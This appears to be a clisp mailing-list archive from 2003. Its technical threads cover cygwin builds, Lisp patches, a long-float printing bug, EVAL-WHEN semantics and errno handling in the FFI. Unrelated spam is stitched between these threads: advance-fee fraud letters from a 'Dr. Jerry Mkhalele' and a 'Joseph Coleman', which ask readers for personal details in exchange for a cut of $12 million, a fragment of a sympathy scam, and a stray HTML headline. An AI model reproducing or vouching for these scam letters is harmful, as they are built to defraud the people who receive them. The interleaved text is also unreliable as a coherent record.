immediately through my email=3A to confirm whether or not you are interested in this deal=2E If you are not=2C it will enable me scout for another foreign partner to carry out this deal=2E I want to assure you that my partners and myself are in a position to make the payment of this claim possible provided you can give us a very strong Assurance and guarantee that our share will be secured and please=2C remember to treat this matter very confidential =2C because we will not comprehend with any form of exposure as we are still in active Government Service =2E Once again=2C remember that time is of great essence in this transaction=2E I wait in anticipation of your fullest co-operation=2E Yours faithfully=2C DR=2E Jerry Mkhalele 

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Hello Sam,
Now that clisp cvs can be compiled on cygwin I have a few questions 
/comments/requests:
1. Why when I type clisp --version no version information appears, but 
instead I get the |1> prompt? Is it because this is cvs and not a regular 
release?
2. When compiling on cygwin the compilation stops in the middle because of 
undefined reference to main
in libcharset. I have to manually go to build/libcharset/lib and issue the 
compile comand without -no-undefined.
Can configure be changed so it will not implement the no_undefined_flag for 
cygwin?
3. The patched cygwin libiconv library has to be recompiled before the 
clisp compilation can be successful. I did that myself but it is probably a 
good idea to ask Chuck Wilson the libiconv maintainer to update the library 
on the cygwin tree.
Should I ask him or you, Sam, want to do that?
Otherwise I am really pleased with this release. I used it to recompile 
maxima and it works great. Thanks again,
Yadin.

--On Monday, March 31, 2003 9:42 AM -0500 Sam Steingold <sds@gnu.org> 
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>> * In message <4887728.1049019900@yadin-nb>
>> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries"
>> * Sent on Sun, 30 Mar 2003 10:25:00 -0500
>> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
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>> I successfully compiled cvs head on cygwin. Thank you. the problem has
>> been solved.
>
> Thanks to Arseny Slobodjuck & Dan Stanger for much debugging!
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> * In message <5845984.1049200739@GOLDSCHMIDT.phyast.pitt.edu>
> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries"
> * Sent on Tue, 01 Apr 2003 12:38:59 -0500
> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>
> 1. Why when I type clisp --version no version information appears, but
>    instead I get the |1> prompt? Is it because this is cvs and not a
>    regular release?

this was a bug, introduced in the -repl/multiple -x patch recently.
I just fixed it.
thanks for reporting it.

> 2. When compiling on cygwin the compilation stops in the middle
>    because of undefined reference to main in libcharset. I have to
>    manually go to build/libcharset/lib and issue the compile comand
>    without -no-undefined.  Can configure be changed so it will not
>    implement the no_undefined_flag for cygwin?

probably.  I am sure Dan Stanger or Arseny Slobodjuck can do that.
I have no access to cygwin (or woe32).

> 3. The patched cygwin libiconv library has to be recompiled before the
>    clisp compilation can be successful. I did that myself but it is
>    probably a good idea to ask Chuck Wilson the libiconv maintainer to
>    update the library on the cygwin tree.  Should I ask him or you,
>    Sam, want to do that?

Please ask him yourself.

Note that in your very first message to this list you appeared to
indicate that CLISP cannot be built on cygwin without libiconv.
If this is the case, it is no good and should be fixed.
Please apply the first appended patch and rebuild without libiconv.
The warnings (in an ugly list form due to bootstrapping) will tell us
what encodings are missing.
The second patch should make clisp build on cygwin even without
libiconv.

Thanks.

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===============================================================================
--- type.lisp.~1.44.~	2003-04-01 13:15:21.000000000 -0500
+++ type.lisp	2003-04-01 13:16:44.000000000 -0500
@@ -1372,11 +1372,18 @@
   ;; Return the definition range of a character set. If necessary, compute it
   ;; and store it in the cache.
   (defun get-charset-range (charset &optional maxintervals)
-    (or (gethash charset table)
-        (setf (gethash charset table)
-              (charset-range (make-encoding :charset charset)
-                             (code-char 0) (code-char (1- char-code-limit))
-                             maxintervals))))
+    (let ((name (if (encodingp charset) (encoding-charset charset) charset)))
+      (or (gethash name table)
+          (let ((enc (if (encodingp charset) charset
+                         (make-encoding :charset charset
+                                        :if-does-not-exist nil))))
+            (unless enc         ; SHOULD BE AN ERROR!!!
+              (warn "~S: invalid charset ~S" 'get-charset-range charset)
+              (return-from get-charset-range nil))
+            (setf (gethash name table)
+                  (charset-range enc (code-char 0)
+                                 (code-char (1- char-code-limit))
+                                 maxintervals))))))
   ;; Fill the cache, but cache only the results with small lists of intervals.
   ;; Some iconv based encodings have large lists of intervals (up to 5844
   ;; intervals for ISO-2022-JP-2) which are rarely used and not worth caching.

===============================================================================
--- type.lisp.~1.44.~	2003-04-01 13:15:21.000000000 -0500
+++ type.lisp	2003-04-01 13:21:05.000000000 -0500
@@ -1373,10 +1373,12 @@
   ;; and store it in the cache.
   (defun get-charset-range (charset &optional maxintervals)
     (or (gethash charset table)
+        (let ((enc (make-encoding :charset charset :if-does-not-exist nil)))
+          (and enc
         (setf (gethash charset table)
-              (charset-range (make-encoding :charset charset)
+                     (charset-range enc
                              (code-char 0) (code-char (1- char-code-limit))
-                             maxintervals))))
+                                    maxintervals))))))
   ;; Fill the cache, but cache only the results with small lists of intervals.
   ;; Some iconv based encodings have large lists of intervals (up to 5844
   ;; intervals for ISO-2022-JP-2) which are rarely used and not worth caching.


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While working on the new backquote stuff, I ran into some irritations
with $Log$ keywords in some files in src and src/po. This useless thing 
just causes merge conflicts. It might be a good idea to get rid of
$Log$ and the messages it has generated. 

The messages are useless out of the context of the version control
system anyway, since you need to pull out the old versions and view
diffs to make sense out of them anyway.

(I was working off a branch made from the 2.30 sources, tracking the
latest CVS in another branch, and merging both branches down to my
trunk).

What else? Oh yes, question: must src/aclocal.m4 be in version control?
I've had phony diffs because this was regenerated on its own and then
checked in. I had to edit it out of the patch I submitted.

I'm not sure why this was regenerated in my stream; perhaps something
to do with the Autoconf upgrade to 2.57. Somehow I ended up with a
different version of this file in the stream which tracks the CVS,
and my main trunk, which is almost the same as that stream, except for
the merged backquote changes.



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> * In message <Pine.LNX.4.44.0304011037190.7897-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: CVS issues."
> * Sent on Tue, 1 Apr 2003 10:46:17 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> While working on the new backquote stuff, I ran into some irritations
> with $Log$ keywords in some files in src and src/po. This useless
> thing just causes merge conflicts. It might be a good idea to get rid
> of $Log$ and the messages it has generated.

yes, what files have this?

> What else? Oh yes, question: must src/aclocal.m4 be in version
> control?  I've had phony diffs because this was regenerated on its own
> and then checked in. I had to edit it out of the patch I submitted.

all files generated by autoconf &c are in the CVS because we cannot ask
users to install autoconf (in addition to gcc) to build CLISP.

I doubt that these issues are of interest to the users, so I set
Reply-To to clisp-devel.

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> * In message <3E89EE34.74A612B4@ieee.org>
> * On the subject of "Re: [clisp-list] win32 cvs head binaries"
> * Sent on Tue, 01 Apr 2003 12:53:24 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Sam Steingold wrote:
> 
> > Note that in your very first message to this list you appeared to
> > indicate that CLISP cannot be built on cygwin without libiconv.
> > If this is the case, it is no good and should be fixed.
> > Please apply the first appended patch and rebuild without libiconv.
> > The warnings (in an ugly list form due to bootstrapping) will tell us
> > what encodings are missing.
> > The second patch should make clisp build on cygwin even without
> > libiconv.
> 
> What is the flag to configure without libiconv?

you have to remove libiconv first; when it is present, it will be used.

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Sorry it's taken so long to get back to you:

Sam Steingold <sds@gnu.org> writes:

>> * In message <sqvfy69ydb.fsf@lambda.jcn.srcf.net>
>> * On the subject of "Re: [clisp-list] Current CVS observations"
>> * Sent on Wed, 26 Mar 2003 11:10:56 +0000
>> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>>
>> csr21@mu:~/misc-cvs/clisp$ xxx/lisp.run -M xxx/lispinit.mem 
>> STACK depth: 16363
>> SP depth: 67109992
>> [...]
>
> what did you snip?
> do you have a ~/.clisprc?

I have no ~/.clisprc -- the only snippage was the normal clisp herald.

>> [1]> pi
>> 0.00282743338823081391L0
>> [2]> (rationalize pi)
>> [... apparent hang ...]
>> 1. Break [4]> 1.0L0
>> 9.000000000000000L-5
>> 
>> So maybe long-float stuff is broken?  If it helps, gcc was 2.95.4 from
>> Debian, and clisp was configured with 
>> ./configure --with-debug --build xxx
>> Let me know if there's anything else you'd like me to try on this one.
>
> (float pi 1d0)
> (sin pi)

[1]> (float pi 1d0)
3.141592653589793d0
[2]> pi
0.00282743338823081391L0
[3]> (sin pi)
-5.0165576136843360246L-20
[4]> (cos pi)
-9.000000000000000L-5
[5]> (tan pi)
5.0165576136843360246L-20

Hope that helps...

Cheers,

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> * In message <sq1y0lme8f.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: Current CVS observations"
> * Sent on Wed, 02 Apr 2003 10:37:52 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> >> [1]> pi
> >> 0.00282743338823081391L0
> >> [2]> (rationalize pi)
> >> [... apparent hang ...]
> >> 1. Break [4]> 1.0L0
> >> 9.000000000000000L-5
> >> 
> >> So maybe long-float stuff is broken?  If it helps, gcc was 2.95.4 from
> >> Debian, and clisp was configured with 
> >> ./configure --with-debug --build xxx
> >> Let me know if there's anything else you'd like me to try on this one.
> >
> > (float pi 1d0)
> > (sin pi)
> 
> [1]> (float pi 1d0)
> 3.141592653589793d0
> [2]> pi
> 0.00282743338823081391L0
> [3]> (sin pi)
> -5.0165576136843360246L-20
> [4]> (cos pi)
> -9.000000000000000L-5
> [5]> (tan pi)
> 5.0165576136843360246L-20

it appears that _printing_ of long floats is broken, rather than
_arithmetics_.  Could you please check that?
e.g.,

(float (cos pi) 1d0) ==> -1d0 ?

&c&c

btw, what is *WARN-ON-FLOATING-POINT-CONTAGION*?

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Sam Steingold <sds@gnu.org> writes:

>> [1]> (float pi 1d0)
>> 3.141592653589793d0
>> [2]> pi
>> 0.00282743338823081391L0
>> [...]
> it appears that _printing_ of long floats is broken, rather than
> _arithmetics_.  Could you please check that?
> e.g.,
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> (float (cos pi) 1d0) ==> -1d0 ?

Yup.

[1]> *warn-on-floating-point-contagion*
T
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> * In message <sqistwkjft.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] Re: Current CVS observations"
> * Sent on Wed, 02 Apr 2003 16:28:22 +0100
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> [2]> (float (cos pi) 1.0d0)
> -1.000000000000000d0

The bad news is that nobody can reproduce this bug, so you are on your
own. 

The good news is that the bug in lisp, not C, so all you need to look
at is src/floatprint.lisp

The bad news is that the comments (and some variable names!) are in
German.

The good news is that there are a _lot_ of comments there, and the file
is just over 400 lines.

So just go there and try to figure out what is bad.
you can load the source with
$ clisp -E utf-8 -i floatprint.lisp
and step through the print functions.

Thanks!

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>> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>>
>> [2]> (float (cos pi) 1.0d0)
>> -1.000000000000000d0
>
> The bad news is that nobody can reproduce this bug, so you are on your
> own. 

Wow, cool!  I wonder how on earth I've managed this.

> The good news is that the bug in lisp, not C, so all you need to look
> at is src/floatprint.lisp
>
> The bad news is that the comments (and some variable names!) are in
> German.

:-)

> Thanks!

I'll give it a try -- I'll try to have a look at it on my travels.

I hesitate to ask, but has there been any progress on the other two
issues I reported?  (in case they're lost, they related to EVAL-WHEN
:EXECUTE not being executed when it's not at top-level, and use of
print-logical-block setting a variable (*PRIN-LEVEL*?) in a locked
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Hi my friend,
I am sorry, I have disturbed you.... I have found your address in the Internet.... I in
despair.... My friends have advised me to search for the help in the Internet....
My name is Svetlana... I live in Ukraine..... To me of 28 years...
Back I had two years a malignant tumour in my breast..... To me have performed
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Dear SIR,

I am Mr.Joseph Coleman and my sister is Miss Rose Coleman,
we are the
children of late Chief Paul Coleman from Sierra Leone.
children of late Chief Paul Coleman from Sierra Leone.
I am writing you in absolute confidence primarily to seek your
assistance to transfer our cash of twelve  Million Dollars
($12,000.000.00) now in the custody of a private Security trust firm in
Europe the money is in trunk boxes deposited and declared as family
valuables by my late father as a matter of fact the company does not
know the content as money, although my father made them to under stand
that the boxes belongs to his foreign partner.

Source of the money:

My late father Chief Paul Coleman , a native of  Amende District in the
Norther province of Sierra Leone, was the General Manager of Sierra
Leone Mining c-operation (S.L.M.C.) Freetown . According to my father,
this money was the income accrued from Mining Co-operations over draft
and minor sales. sales. Before the peak of the civil war between the
rebels forces of Major Paul Koroma and the combined forces of ECOMOG
peace keeping operation that almost destroyed my country, following the
forceful removal from power of the civilian elected President Ahmed
Tejan Kabbah by the rebels. My father had already made arrangement for
his family thats talking about my mother, my little sister and myself to
be evacuated to Abidjan Cote d' Ivoire with the CERTIFICATE OF DEPOSIT
he made with a security firm in Europe through the aid of U.N evacuation
team.  evacuation team. During the war in my country, and following the
indiscriminate looting of Public and Government properties by the rebel
forces, the Sierra Leone mining coop. Was one of the target looted and
it was destroyed. My father including other top Government functionaries
were attacked and killed by the rebels in November 2000 because of his
relationship with the civilian Government of Ahmed Tejan Kabbah.

As a result of my father's death , and with the news of my uncle's
involvement in the air crash in January it dashed our hope of survival.
The untimely deaths caused my mother's heart failure and other related
complications of which she later died in the hospital after we must have
spent a lot of money on her early this year  . Now my 18 years old
sister and myself are alone in this strange country suffering without
any care or help. Without any relation, we are now like refugees and
orphans.

Our only hope now is in you and the boxes deposited in the Security Firm
To this effect, I humbly solicit your assistance in the followings ways.

1. to assist me claim this boxes from the security
  Firm as our beneficiary

2. to transfer this money (USD$12M) in your name to your country

3. to make a good arrangement for a joint business investment on our
behalf in your country and you, our Adviser/ Manager


For your assistance, I have agreed with my younger sister that 20% of
the total amount will be for your effort and another 10 % to cover all
the expenses that may incur during the business transaction, Last, I
urge you to keep this transaction strictly confidential as no one knows
our where about.

Please as you show your willingness, Forward to us your full name,
address and Tel/ Fax numbers, to me via my private email address as
indicated bellow, this is for security reasons as i will  only be
accessing my private email earnestly awaiting your response.


Thanks.

May God bless you as you assist us.

Mr.JOSEPH COLEMAN.

Private Email : josephcoleman72@netscape.net






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> * In message <sqfzozkj8u.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] Re: Current CVS observations"
> * Sent on Thu, 03 Apr 2003 10:44:49 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> I'll give it a try -- I'll try to have a look at it on my travels.

thanks.

> I hesitate to ask, but has there been any progress on the other two
> issues I reported?  (in case they're lost, they related to EVAL-WHEN
> :EXECUTE not being executed when it's not at top-level, and use of

I am afraid I don't recall this.

> print-logical-block setting a variable (*PRIN-LEVEL*?) in a locked
> package. 

please try the appended patch.

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--- pprint.lisp.~1.8.~	2002-11-28 15:40:13.000000000 -0500
+++ pprint.lisp	2003-04-03 09:43:39.000000000 -0500
@@ -114,6 +114,7 @@
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+           (*prin-level* (1+ *prin-level*))
            (*prin-line-prefix* ,per-line-prefix)
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@@ -159,7 +160,6 @@
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On Tuesday 01 April 2003 19:46, Kaz Kylheku wrote:
> While working on the new backquote stuff, I ran into some irritations
> with $Log$ keywords in some files in src and src/po. This useless thing
> just causes merge conflicts. It might be a good idea to get rid of
> $Log$ and the messages it has generated.

Use cvs checkout -kk to stop expanding these.



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Sam Steingold <sds@gnu.org> writes:

>> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>> print-logical-block setting a variable (*PRIN-LEVEL*?) in a locked
>> package. 
>
> please try the appended patch.

Thank you, that works much better.  I would send a diff in return, but
sourceforge appears to be playing up at this moment, so could I
suggest that 
  (declare (ignorable obj)) 
be added to the lambda in %PPRINT-LOGICAL-BLOCK, thusly:
  (lambda (,out obj)
    (declare (ignorable obj)) ; HERE
    (let ((,idx 0))
?  This would remove the other generated warning.

>> I hesitate to ask, but has there been any progress on the other two
>> issues I reported?  (in case they're lost, they related to EVAL-WHEN
>> :EXECUTE not being executed when it's not at top-level, and use of
>
> I am afraid I don't recall this.

Consider a file with the following contents:
  (let ()
    (eval-when (:compile-toplevel :load-toplevel :execute)
      (print "foo")))
  (let ()
    (eval-when (compile load eval)
      (print "bar")))

I maintain that compiling this file should print nothing, and loading
it should print "foo" and "bar"; CMUCL, ACL and Lispworks agree with
me (I won't mention sbcl :-).  CLISP, however, prints "foo" neither on
compilation nor on loading, while printing "bar" both at compile-time
and on loading.

Looking at control.d, it would appear that the EVAL-WHEN there is very
CLTL1ish -- it seems to believe in EVAL and (NOT COMPILE) (and
Kexecute, which I would presume to mean :EXECUTE), but no logic for
handling LOAD/:LOAD-TOPLEVEL.

I believe the applicable paragraph from the CLHS page for EVAL-WHEN is
the following:

  The use of the situation :execute (or eval) controls whether
  evaluation occurs for other eval-when forms; that is, those that are
  not top level forms, or those in code processed by eval or
  compile. If the :execute situation is specified in such a form, then
  the body forms are processed as an implicit progn; otherwise, the
  eval-when form returns nil.

the EVAL-WHENs above are not top-level forms, as they are inside a LET
(the only forms preserving toplevelness being MACROLET,
SYMBOL-MACROLET, LOCALLY and PROGN), so since :EXECUTE/EVAL are
specified, I would expect their bodies to be executed at load time.

There are headache-inducing examples on the CLHS page for EVAL-WHEN,
the most pertinent of which is the first.

Cheers,

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<b><font size="3">Prices stable ahead of the spring auctions </font></b>[21 Mar.] 
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> * In message <sqr88jiohm.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] Re: Current CVS observations"
> * Sent on Thu, 03 Apr 2003 16:34:29 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
>   (let ()
>     (eval-when (:compile-toplevel :load-toplevel :execute)
>       (print "foo")))
>   (let ()
>     (eval-when (compile load eval)
>       (print "bar")))
> 
> I maintain that compiling this file should print nothing, and loading
> it should print "foo" and "bar"; CMUCL, ACL and Lispworks agree with
> me (I won't mention sbcl :-).  CLISP, however, prints "foo" neither on
> compilation nor on loading, while printing "bar" both at compile-time
> and on loading. 

   As expounded upon in the impnotes
   <http://clisp.cons.org/impnotes.html#eval-when>,
   in CLISP the deprecated situations COMPILE and LOAD are _NOT_
   equavalent to the new standard situations :COMPILE-TOPLEVEL and
   :LOAD-TOPLEVEL.
   We believe that this gives the users some extra functionality for no
   cost (those who want strict compliance probably do not use deprecated
   functionality anyway).
   Yes, this is a deviation from the standard.
   No, it is not controlled by `-ansi' (yet?).

that said, let us consider the following code:

(defvar *collector*)
(let ((forms nil))
  (dolist (c '(nil (:compile-toplevel)))
    (dolist (l '(nil (:load-toplevel)))
      (dolist (x '(nil (:execute)))
        (push `(eval-when (,@c ,@l ,@x)
                 (push '(,@c ,@l ,@x) *collector*))
              forms))))
  (dolist (c '(nil (:compile-toplevel)))
    (dolist (l '(nil (:load-toplevel)))
      (dolist (x '(nil (:execute)))
        (push `(let () (eval-when (,@c ,@l ,@x)
                         (push '(let ,@c ,@l ,@x) *collector*)))
              forms))))
  (with-open-file (o "eval-when-test.lisp" :direction :output
                     :if-exists :supersede)
    (dolist (f forms)
      (prin1 f o)
      (terpri o)))
  (let ((*collector* nil))
    (load "eval-when-test.lisp")
    (print *collector*))
  (let ((*collector* nil))
    (compile-file "eval-when-test.lisp")
    (print *collector*))
  (let ((*collector* nil))
    (load (compile-file-pathname "eval-when-test.lisp"))
    (print *collector*)))

what should the printout be?
I would appreciate it if you could raise this issue on c.l.l so that we
could get an authoritative answer that would close the discussion.

thanks.

    
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Sam Steingold <sds@gnu.org> writes:

>    As expounded upon in the impnotes
>    <http://clisp.cons.org/impnotes.html#eval-when>,
>    in CLISP the deprecated situations COMPILE and LOAD are _NOT_
>    equavalent to the new standard situations :COMPILE-TOPLEVEL and
>    :LOAD-TOPLEVEL.
>    We believe that this gives the users some extra functionality for no
>    cost (those who want strict compliance probably do not use deprecated
>    functionality anyway).
>    Yes, this is a deviation from the standard.
>    No, it is not controlled by `-ansi' (yet?).

OK, fair enough.  I'm only tangentially interested in the COMPILE LOAD
EVAL situations, as it happens; I was just slightly perturbed by the
difference in behaviour.  I'm very interested in getting compliant
behaviour from :COMPILE-TOPLEVEL/:LOAD-TOPLEVEL/:EXECUTE.

> that said, let us consider the following code:
>
> (defvar *collector*)
> (let ((forms nil))
>   (dolist (c '(nil (:compile-toplevel)))
>     (dolist (l '(nil (:load-toplevel)))
>       (dolist (x '(nil (:execute)))
>         (push `(eval-when (,@c ,@l ,@x)
>                  (push '(,@c ,@l ,@x) *collector*))
>               forms))))
>   (dolist (c '(nil (:compile-toplevel)))
>     (dolist (l '(nil (:load-toplevel)))
>       (dolist (x '(nil (:execute)))
>         (push `(let () (eval-when (,@c ,@l ,@x)
>                          (push '(let ,@c ,@l ,@x) *collector*)))
>               forms))))
>   (with-open-file (o "eval-when-test.lisp" :direction :output
>                      :if-exists :supersede)
>     (dolist (f forms)
>       (prin1 f o)
>       (terpri o)))
>   (let ((*collector* nil))
>     (load "eval-when-test.lisp")
>     (print *collector*))

LOAD of source implies that the relevant top-level regime is :EXECUTE.
Therefore, for the EVAL-WHEN forms at toplevel, only those
combinations with :EXECUTE in the situations will be executed, so this
list starts with those toplevel forms with :EXECUTE.  For the
EVAL-WHEN forms not at top level, their execution on EVAL/LOAD is
again controlled by :EXECUTE, so again only those forms with :EXECUTE
in their situations will be executed, so the final list is:

((:execute) 
 (:load-toplevel :execute) 
 (:compile-toplevel :execute)
 (:compile-toplevel :load-toplevel :execute)
 (let :execute)
 (let :load-toplevel :execute)
 (let :compile-toplevel :execute)
 (let :compile-toplevel :load-toplevel :execute))

>   (let ((*collector* nil))
>     (compile-file "eval-when-test.lisp")
>     (print *collector*))

The situation controlling execution of top-level forms at COMPILE-FILE
time is :COMPILE-TOPLEVEL, so for the EVAL-WHENs at toplevel, only
those with :COMPILE-TOPLEVEL in their list of situations will be
executed.  EVAL-WHENs not at top-level are never executed at
COMPILE-FILE time (see CLHS 3.2.3), so the answer is

((:compile-toplevel)
 (:compile-toplevel :execute)
 (:compile-toplevel :load-toplevel)
 (:compile-toplevel :load-toplevel :execute))

>   (let ((*collector* nil))
>     (load (compile-file-pathname "eval-when-test.lisp"))
>     (print *collector*)))

The situation controlling execution of toplevel EVAL-WHENs processed
by LOAD of COMPILE-FILE is :LOAD-TOPLEVEL, so the toplevel forms with
:LOAD-TOPLEVEL in their situations will be executed.  Non-toplevel
EVAL-WHENs with :EXECUTE (that being the only important situation for
non-toplevel EVAL-WHENs) will have been compiled to a PROGN, and
therefore EVAL-WHENs inside the LET with :EXECUTE on their situations
will also push onto *COLLECTOR*, so the printout from this one is:

((:load-toplevel)
 (:load-toplevel :execute)
 (:compile-toplevel :load-toplevel)
 (:compile-toplevel :load-toplevel :execute)
 (let :execute)
 (let :load-toplevel :execute)
 (let :compile-toplevel :execute)
 (let :compile-toplevel :load-toplevel :execute))

> I would appreciate it if you could raise this issue on c.l.l so that we
> could get an authoritative answer that would close the discussion.

I guess cll could get involved, but is there something in the above
that isn't clear?  The relevant passages from the CLHS are the
EVAL-WHEN Special Operator page and section 3.2.3 (and 3.2.3.1, though
I dunno if that isn't a bit confusing -- the cases above don't need
3.2.3.1 to be explained; the difficult ones involve nested eval-whens).

Cheers,

Christophe
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Hi,

FWIW, the simple-streams topic came up again in comp.lang.lisp. I responded:
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Duane Rettig <duane@franz.com> writes:
> Peter Seibel <peter@javamonkey.com> writes:
> > Peter Seibel <peter@javamonkey.com> writes:
> > > Is there any way to make a stream like a string-input-stream except on
> > > top of a sequence of bytes (octets) rather than a string? I.e. I want

> > To answer my own question, I take it from the fact that ACL has an
> > extension, make-buffer-output-tream and make-buffer-input-tream, which
> > seems to be exactly what I'm looking for that such a thing is not part
> > of standard Common Lisp. Do other Lisps have equivalent functionality?

> They would if they implemented simple-streams.  I've been hoping that
> people would start to adopt simple-streams for their implementations,
> but so far the only bites I've gotten have been nibbles,

I'd wish CLISP would have them as well, because I feel (never actually
tried out) that they solve quite some problems[*], but that means yet
another rewrite of CLISP's huge streams stuff.

A faster solution for the OP's wish may be to make CLISP's
EXT:MAKE-STRING-INPUT-STREAM and output sibling accept (SETF
STREAM-ELEMENT-TYPE) like CLISP's file/pipe streams and use that, or
just provide the equivalent for octet streams under distinct names, or
just have READ-CHAR/BYTE check ARRAY-ELEMENT-TYPE of the underlying
buffer array: that would be much less new/changed code in CLISP and
IMHO easy to add.

So best wishes to simple-streams (although I did not understand the
lower-layer simple-stream description on Allegro's site, last time I
looked at it - hint, hint).

Regards,
	Jorg Hohle
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[*] E.g. typical CRLF translations issues, well-defined availability
of something to read vs. a full-character to read, turning bytes into
characters and other issues discussed here now and then.


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Hi,

could somebody with recent Linux/UNIX knowledge help me with the following:

is it legal to assign to errno?
E.g. errno = 0; in C application code?

Shall CLISP Linux FFI support assignment to errno?


On a (Suse)Linux box, I found
/usr/include/errno.h
/* Declare the `errno' variable, unless it's defined as a macro by
   bits/errno.h.  This is the case in GNU, where it is a per-thread
   variable.  This redeclaration using the macro still works, but it

And in /usr/include/bits/errno.h
/* Function to get address of global `errno' variable.  */
extern int *__errno_location (void) __THROW __attribute__ ((__const__));

#  if !defined _LIBC || defined _LIBC_REENTRANT
/* When using threads, errno is a per-thread value.  */
#   define errno (*__errno_location ())

Thus, printf("%d",errno); works.
But such a #define does not work with errno=x;


bits/errno.h goes on:
#  if defined _LIBC
/* We wouldn't need a special macro anymore but it is history.  */
#   define __set_errno(val) (*__errno_location ()) = (val)

Is there some C compiler magic to expand errno=x into __set_errno(x)?

Given this, could somebody explain to me how bindings/linux.lisp
(def-c-var errno (:type ffi:int))
can possibly work, since this expands to
  register_foreign_variable(&errno,"errno",0,sizeof(errno));
Is &errno (i.e. the address of a value returned by a function!) well-defined? I'd say: no. Is that just some more C compiler errno hacks?

BTW, in order not to have to revisit this area the day CLISP would have threads, linux:errno has to become a symbol-macro which expands to a FFI call.
(def-call-out __errno_location (:arguments) (:return-type (c-ptr int)))
(define-symbol-macro errno (linux:__errno_location))
But that does not support (setf linux:errno x).

Thanks,
	Jorg Hohle.


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> * In message <sq8yuqir35.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] Re: Current CVS observations"
> * Sent on Fri, 04 Apr 2003 09:50:38 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> > (defvar *collector*)
> > (let ((forms nil))
> >   (dolist (c '(nil (:compile-toplevel)))
> >     (dolist (l '(nil (:load-toplevel)))
> >       (dolist (x '(nil (:execute)))
> >         (push `(eval-when (,@c ,@l ,@x)
> >                  (push '(,@c ,@l ,@x) *collector*))
> >               forms))))
> >   (dolist (c '(nil (:compile-toplevel)))
> >     (dolist (l '(nil (:load-toplevel)))
> >       (dolist (x '(nil (:execute)))
> >         (push `(let () (eval-when (,@c ,@l ,@x)
> >                          (push '(let ,@c ,@l ,@x) *collector*)))
> >               forms))))
> >   (with-open-file (o "eval-when-test.lisp" :direction :output
> >                      :if-exists :supersede)
> >     (dolist (f forms)
> >       (prin1 f o)
> >       (terpri o)))
> >   (let ((*collector* nil))
> >     (load "eval-when-test.lisp")
> >     (print *collector*))
> 
> LOAD of source implies that the relevant top-level regime is :EXECUTE.
> Therefore, for the EVAL-WHEN forms at toplevel, only those
> combinations with :EXECUTE in the situations will be executed, so this
> list starts with those toplevel forms with :EXECUTE.  For the
> EVAL-WHEN forms not at top level, their execution on EVAL/LOAD is
> again controlled by :EXECUTE, so again only those forms with :EXECUTE
> in their situations will be executed, so the final list is:
> 
> ((:execute) 
>  (:load-toplevel :execute) 
>  (:compile-toplevel :execute)
>  (:compile-toplevel :load-toplevel :execute)
>  (let :execute)
>  (let :load-toplevel :execute)
>  (let :compile-toplevel :execute)
>  (let :compile-toplevel :load-toplevel :execute))

CMUCL:

 ((:load-toplevel)
  (:load-toplevel :execute)
  (:compile-toplevel :load-toplevel)
  (:compile-toplevel :load-toplevel :execute)
  (let :execute)
  (let :load-toplevel :execute)
  (let :compile-toplevel :execute)
  (let :compile-toplevel :load-toplevel :execute))

either your analysis is incorrect, or CMUCL is faulty too.

> >   (let ((*collector* nil))
> >     (compile-file "eval-when-test.lisp")
> >     (print *collector*))
> 
> ((:compile-toplevel)
>  (:compile-toplevel :execute)
>  (:compile-toplevel :load-toplevel)
>  (:compile-toplevel :load-toplevel :execute))

no contest.

> >   (let ((*collector* nil))
> >     (load (compile-file-pathname "eval-when-test.lisp"))
> >     (print *collector*)))
> 
> ((:load-toplevel)
>  (:load-toplevel :execute)
>  (:compile-toplevel :load-toplevel)
>  (:compile-toplevel :load-toplevel :execute)
>  (let :execute)
>  (let :load-toplevel :execute)
>  (let :compile-toplevel :execute)
>  (let :compile-toplevel :load-toplevel :execute))

CMUCL & CLISP:

 ((:execute)
  (:load-toplevel :execute)
  (:compile-toplevel :execute)
  (:compile-toplevel :load-toplevel :execute)
  (let :execute)
  (let :load-toplevel :execute)
  (let :compile-toplevel :execute)
  (let :compile-toplevel :load-toplevel :execute)))

is it possible that you are confusing :execute and :load-toplevel?

> > I would appreciate it if you could raise this issue on c.l.l so that we
> > could get an authoritative answer that would close the discussion.
> 
> I guess cll could get involved, but is there something in the above
> that isn't clear?  The relevant passages from the CLHS are the
> EVAL-WHEN Special Operator page and section 3.2.3 (and 3.2.3.1, though
> I dunno if that isn't a bit confusing -- the cases above don't need
> 3.2.3.1 to be explained; the difficult ones involve nested eval-whens).

this whole thing is confusing enough, IMNSHO.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE036C4ED4@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] linux FFI: What/where is _IO_stdin/out/err_? -- errno"
> * Sent on Fri, 4 Apr 2003 15:54:30 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> is it legal to assign to errno?
> E.g. errno = 0; in C application code?

yes, absolutely.

> Shall CLISP Linux FFI support assignment to errno?

yes, absolutely.

> On a (Suse)Linux box, I found
> /usr/include/errno.h
> /* Declare the `errno' variable, unless it's defined as a macro by
>    bits/errno.h.  This is the case in GNU, where it is a per-thread
>    variable.  This redeclaration using the macro still works, but it
> 
> And in /usr/include/bits/errno.h
> /* Function to get address of global `errno' variable.  */
> extern int *__errno_location (void) __THROW __attribute__ ((__const__));
> 
